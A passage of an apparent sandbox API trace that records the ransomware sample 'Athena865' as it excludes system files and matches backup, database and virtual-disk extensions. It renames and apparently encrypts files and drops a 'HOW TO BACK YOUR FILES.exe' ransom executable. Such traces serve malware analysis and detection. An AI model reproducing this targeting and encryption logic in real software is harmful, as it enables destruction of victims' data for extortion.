(lpString1="pdm.dll", lpString2="bootmgr") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="temp") returned -1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="pagefile.sys") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="boot") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="ids.txt") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="ntuser.dat") returned 1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="perflogs") returned -1 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2="MSBuild") returned 1 [0042.679] lstrlenW (lpString="pdm.dll") returned 7 [0042.679] lstrcpyW (in: lpString1=0x241e89a, lpString2="pdm.dll" | out: lpString1="pdm.dll") returned="pdm.dll" [0042.679] lstrlenW (lpString="pdm.dll") returned 7 [0042.679] lstrlenW (lpString="Athena865") returned 9 [0042.679] lstrlenW (lpString=".dll") returned 4 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2=".dll") returned 1 [0042.679] lstrlenW (lpString=".lnk") returned 4 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2=".lnk") returned 1 [0042.679] lstrlenW (lpString=".ini") returned 4 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2=".ini") returned 1 [0042.679] lstrlenW (lpString=".sys") returned 4 [0042.679] lstrcmpiW (lpString1="pdm.dll", lpString2=".sys") returned 1 [0042.679] lstrlenW (lpString="pdm.dll") returned 7 [0042.679] lstrlenW (lpString="bak") returned 3 [0042.679] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.679] lstrlenW (lpString="ba_") returned 3 [0042.679] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.679] lstrlenW (lpString="dbb") returned 3 [0042.679] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.679] lstrlenW (lpString="vmdk") returned 4 [0042.679] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0042.679] lstrlenW (lpString="rar") returned 3 [0042.679] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.679] lstrlenW (lpString="zip") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.680] lstrlenW (lpString="tgz") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.680] lstrlenW (lpString="vbox") returned 4 [0042.680] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.680] lstrlenW (lpString="vdi") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.680] lstrlenW (lpString="vhd") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.680] lstrlenW (lpString="vhdx") returned 4 [0042.680] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.680] lstrlenW (lpString="avhd") returned 4 [0042.680] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.680] lstrlenW (lpString="db") returned 2 [0042.680] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.680] lstrlenW (lpString="db2") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.680] lstrlenW (lpString="db3") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.680] lstrlenW (lpString="dbf") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.680] lstrlenW (lpString="mdf") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.680] lstrlenW (lpString="mdb") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.680] lstrlenW (lpString="sql") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.680] lstrlenW (lpString="sqlite") returned 6 [0042.680] lstrcmpiW (lpString1="dm.dll", lpString2="sqlite") returned -1 [0042.680] lstrlenW (lpString="sqlite3") returned 7 [0042.680] lstrlenW (lpString="sqlitedb") returned 8 [0042.680] lstrlenW (lpString="xml") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.680] lstrlenW (lpString="$er") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.680] lstrlenW (lpString="4dd") returned 3 [0042.680] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.681] lstrlenW (lpString="4dl") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.681] lstrlenW (lpString="^^^") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.681] lstrlenW (lpString="abs") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.681] lstrlenW (lpString="abx") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.681] lstrlenW (lpString="accdb") returned 5 [0042.681] lstrcmpiW (lpString1="m.dll", lpString2="accdb") returned 1 [0042.681] lstrlenW (lpString="accdc") returned 5 [0042.681] lstrcmpiW (lpString1="m.dll", lpString2="accdc") returned 1 [0042.681] lstrlenW (lpString="accde") returned 5 [0042.681] lstrcmpiW (lpString1="m.dll", lpString2="accde") returned 1 [0042.681] lstrlenW (lpString="accdr") returned 5 [0042.681] lstrcmpiW (lpString1="m.dll", lpString2="accdr") returned 1 [0042.681] lstrlenW (lpString="accdt") returned 5 [0042.681] lstrcmpiW (lpString1="m.dll", lpString2="accdt") returned 1 [0042.681] lstrlenW (lpString="accdw") returned 5 [0042.681] lstrcmpiW (lpString1="m.dll", lpString2="accdw") returned 1 [0042.681] lstrlenW (lpString="accft") returned 5 [0042.681] lstrcmpiW (lpString1="m.dll", lpString2="accft") returned 1 [0042.681] lstrlenW (lpString="adb") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.681] lstrlenW (lpString="adb") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.681] lstrlenW (lpString="ade") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.681] lstrlenW (lpString="adf") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.681] lstrlenW (lpString="adn") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.681] lstrlenW (lpString="adp") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.681] lstrlenW (lpString="alf") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.681] lstrlenW (lpString="ask") returned 3 [0042.681] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.682] lstrlenW (lpString="btr") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.682] lstrlenW (lpString="cat") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.682] lstrlenW (lpString="cdb") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.682] lstrlenW (lpString="ckp") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.682] lstrlenW (lpString="cma") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.682] lstrlenW (lpString="cpd") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.682] lstrlenW (lpString="dacpac") returned 6 [0042.682] lstrcmpiW (lpString1="dm.dll", lpString2="dacpac") returned 1 [0042.682] lstrlenW (lpString="dad") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.682] lstrlenW (lpString="dadiagrams") returned 10 [0042.682] lstrlenW (lpString="daschema") returned 8 [0042.682] lstrlenW (lpString="db-journal") returned 10 [0042.682] lstrlenW (lpString="db-shm") returned 6 [0042.682] lstrcmpiW (lpString1="dm.dll", lpString2="db-shm") returned 1 [0042.682] lstrlenW (lpString="db-wal") returned 6 [0042.682] lstrcmpiW (lpString1="dm.dll", lpString2="db-wal") returned 1 [0042.682] lstrlenW (lpString="dbc") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.682] lstrlenW (lpString="dbs") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.682] lstrlenW (lpString="dbt") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.682] lstrlenW (lpString="dbv") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.682] lstrlenW (lpString="dbx") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.682] lstrlenW (lpString="dcb") returned 3 [0042.682] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.682] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.683] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.683] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.683] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.683] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.683] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.683] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.683] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.683] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\pdm.dll.Athena865") returned 58 [0042.683] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\pdm.dll" (normalized: "c:\\program files (x86)\\internet explorer\\pdm.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\pdm.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\pdm.dll.athena865"), dwFlags=0x1) returned 1 [0042.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\pdm.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\pdm.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.684] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=355832) returned 1 [0042.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.684] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.685] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.685] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.685] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x57100, lpName=0x0) returned 0x17c [0042.686] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x57100) returned 0x1f0000 [0042.701] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.702] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.702] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.702] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.703] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0042.706] CloseHandle (hObject=0x17c) returned 1 [0042.706] CloseHandle (hObject=0x154) returned 1 [0042.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.710] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.712] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2=".") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="..") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="windows") returned -1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="bootmgr") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="temp") returned -1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="pagefile.sys") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="boot") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="ids.txt") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="ntuser.dat") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="perflogs") returned 1 [0042.712] lstrcmpiW (lpString1="SIGNUP", lpString2="MSBuild") returned 1 [0042.712] lstrlenW (lpString="SIGNUP") returned 6 [0042.712] lstrcpyW (in: lpString1=0x241e89a, lpString2="SIGNUP" | out: lpString1="SIGNUP") returned="SIGNUP" [0042.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f8e0 [0042.712] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51bc88 [0042.712] lstrcatW (in: lpString1="SIGNUP", lpString2="\\" | out: lpString1="SIGNUP\\") returned="SIGNUP\\" [0042.713] lstrcatW (in: lpString1="SIGNUP\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SIGNUP\\HOW TO BACK YOUR FILES.exe") returned="SIGNUP\\HOW TO BACK YOUR FILES.exe" [0042.713] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\signup\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.717] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc0b7dd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bc0b7dd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bc0b7dd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0042.717] lstrcmpiW (lpString1="sqmapi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.717] lstrcmpiW (lpString1="sqmapi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.717] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0042.717] lstrcmpiW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0042.717] lstrcmpiW (lpString1="sqmapi.dll", lpString2="windows") returned -1 [0042.717] lstrcmpiW (lpString1="sqmapi.dll", lpString2="bootmgr") returned 1 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2="temp") returned -1 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2="pagefile.sys") returned 1 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot") returned 1 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ids.txt") returned 1 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntuser.dat") returned 1 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2="perflogs") returned 1 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2="MSBuild") returned 1 [0042.718] lstrlenW (lpString="sqmapi.dll") returned 10 [0042.718] lstrcpyW (in: lpString1=0x241e89a, lpString2="sqmapi.dll" | out: lpString1="sqmapi.dll") returned="sqmapi.dll" [0042.718] lstrlenW (lpString="sqmapi.dll") returned 10 [0042.718] lstrlenW (lpString="Athena865") returned 9 [0042.718] lstrcmpiW (lpString1="qmapi.dll", lpString2="Athena865") returned 1 [0042.718] lstrlenW (lpString=".dll") returned 4 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".dll") returned 1 [0042.718] lstrlenW (lpString=".lnk") returned 4 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".lnk") returned 1 [0042.718] lstrlenW (lpString=".ini") returned 4 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".ini") returned 1 [0042.718] lstrlenW (lpString=".sys") returned 4 [0042.718] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".sys") returned 1 [0042.718] lstrlenW (lpString="sqmapi.dll") returned 10 [0042.718] lstrlenW (lpString="bak") returned 3 [0042.718] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.718] lstrlenW (lpString="ba_") returned 3 [0042.718] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.718] lstrlenW (lpString="dbb") returned 3 [0042.718] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.718] lstrlenW (lpString="vmdk") returned 4 [0042.718] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0042.718] lstrlenW (lpString="rar") returned 3 [0042.718] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.718] lstrlenW (lpString="zip") returned 3 [0042.718] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.718] lstrlenW (lpString="tgz") returned 3 [0042.718] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.718] lstrlenW (lpString="vbox") returned 4 [0042.719] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.719] lstrlenW (lpString="vdi") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.719] lstrlenW (lpString="vhd") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.719] lstrlenW (lpString="vhdx") returned 4 [0042.719] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.719] lstrlenW (lpString="avhd") returned 4 [0042.719] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.719] lstrlenW (lpString="db") returned 2 [0042.719] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.719] lstrlenW (lpString="db2") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.719] lstrlenW (lpString="db3") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.719] lstrlenW (lpString="dbf") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.719] lstrlenW (lpString="mdf") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.719] lstrlenW (lpString="mdb") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.719] lstrlenW (lpString="sql") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.719] lstrlenW (lpString="sqlite") returned 6 [0042.719] lstrcmpiW (lpString1="pi.dll", lpString2="sqlite") returned -1 [0042.719] lstrlenW (lpString="sqlite3") returned 7 [0042.719] lstrcmpiW (lpString1="api.dll", lpString2="sqlite3") returned -1 [0042.719] lstrlenW (lpString="sqlitedb") returned 8 [0042.719] lstrcmpiW (lpString1="mapi.dll", lpString2="sqlitedb") returned -1 [0042.719] lstrlenW (lpString="xml") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.719] lstrlenW (lpString="$er") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.719] lstrlenW (lpString="4dd") returned 3 [0042.719] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.719] lstrlenW (lpString="4dl") returned 3 [0042.720] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.720] lstrlenW (lpString="^^^") returned 3 [0042.720] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.720] lstrlenW (lpString="abs") returned 3 [0042.720] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.720] lstrlenW (lpString="abx") returned 3 [0042.720] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.720] lstrlenW (lpString="accdb") returned 5 [0042.720] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0042.720] lstrlenW (lpString="accdc") returned 5 [0042.720] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0042.720] lstrlenW (lpString="accde") returned 5 [0042.720] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0042.720] lstrlenW (lpString="accdr") returned 5 [0042.720] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0042.720] lstrlenW (lpString="accdt") returned 5 [0042.720] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0042.720] lstrlenW (lpString="accdw") returned 5 [0042.720] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0042.720] lstrlenW (lpString="accft") returned 5 [0042.720] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0042.721] lstrlenW (lpString="adb") returned 3 [0042.721] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.721] lstrlenW (lpString="adb") returned 3 [0042.721] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.721] lstrlenW (lpString="ade") returned 3 [0042.721] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.721] lstrlenW (lpString="adf") returned 3 [0042.721] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.721] lstrlenW (lpString="adn") returned 3 [0042.721] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.721] lstrlenW (lpString="adp") returned 3 [0042.721] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.721] lstrlenW (lpString="alf") returned 3 [0042.721] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.721] lstrlenW (lpString="ask") returned 3 [0042.721] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.722] lstrlenW (lpString="btr") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.722] lstrlenW (lpString="cat") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.722] lstrlenW (lpString="cdb") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.722] lstrlenW (lpString="ckp") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.722] lstrlenW (lpString="cma") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.722] lstrlenW (lpString="cpd") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.722] lstrlenW (lpString="dacpac") returned 6 [0042.722] lstrcmpiW (lpString1="pi.dll", lpString2="dacpac") returned 1 [0042.722] lstrlenW (lpString="dad") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.722] lstrlenW (lpString="dadiagrams") returned 10 [0042.722] lstrlenW (lpString="daschema") returned 8 [0042.722] lstrcmpiW (lpString1="mapi.dll", lpString2="daschema") returned 1 [0042.722] lstrlenW (lpString="db-journal") returned 10 [0042.722] lstrlenW (lpString="db-shm") returned 6 [0042.722] lstrcmpiW (lpString1="pi.dll", lpString2="db-shm") returned 1 [0042.722] lstrlenW (lpString="db-wal") returned 6 [0042.722] lstrcmpiW (lpString1="pi.dll", lpString2="db-wal") returned 1 [0042.722] lstrlenW (lpString="dbc") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.722] lstrlenW (lpString="dbs") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.722] lstrlenW (lpString="dbt") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.722] lstrlenW (lpString="dbv") returned 3 [0042.722] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.723] lstrlenW (lpString="dbx") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.723] lstrlenW (lpString="dcb") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.723] lstrlenW (lpString="dct") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.723] lstrlenW (lpString="dcx") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.723] lstrlenW (lpString="ddl") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.723] lstrlenW (lpString="dlis") returned 4 [0042.723] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.723] lstrlenW (lpString="dp1") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.723] lstrlenW (lpString="dqy") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.723] lstrlenW (lpString="dsk") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.723] lstrlenW (lpString="dsn") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.723] lstrlenW (lpString="dtsx") returned 4 [0042.723] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0042.723] lstrlenW (lpString="dxl") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0042.723] lstrlenW (lpString="eco") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0042.723] lstrlenW (lpString="ecx") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0042.723] lstrlenW (lpString="edb") returned 3 [0042.723] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0042.723] lstrlenW (lpString="epim") returned 4 [0042.724] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0042.724] lstrlenW (lpString="fcd") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0042.724] lstrlenW (lpString="fdb") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0042.724] lstrlenW (lpString="fic") returned 3 [0042.724] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0042.724] lstrlenW (lpString="flexolibrary") returned 12 [0042.724] lstrlenW (lpString="fm5") returned 3 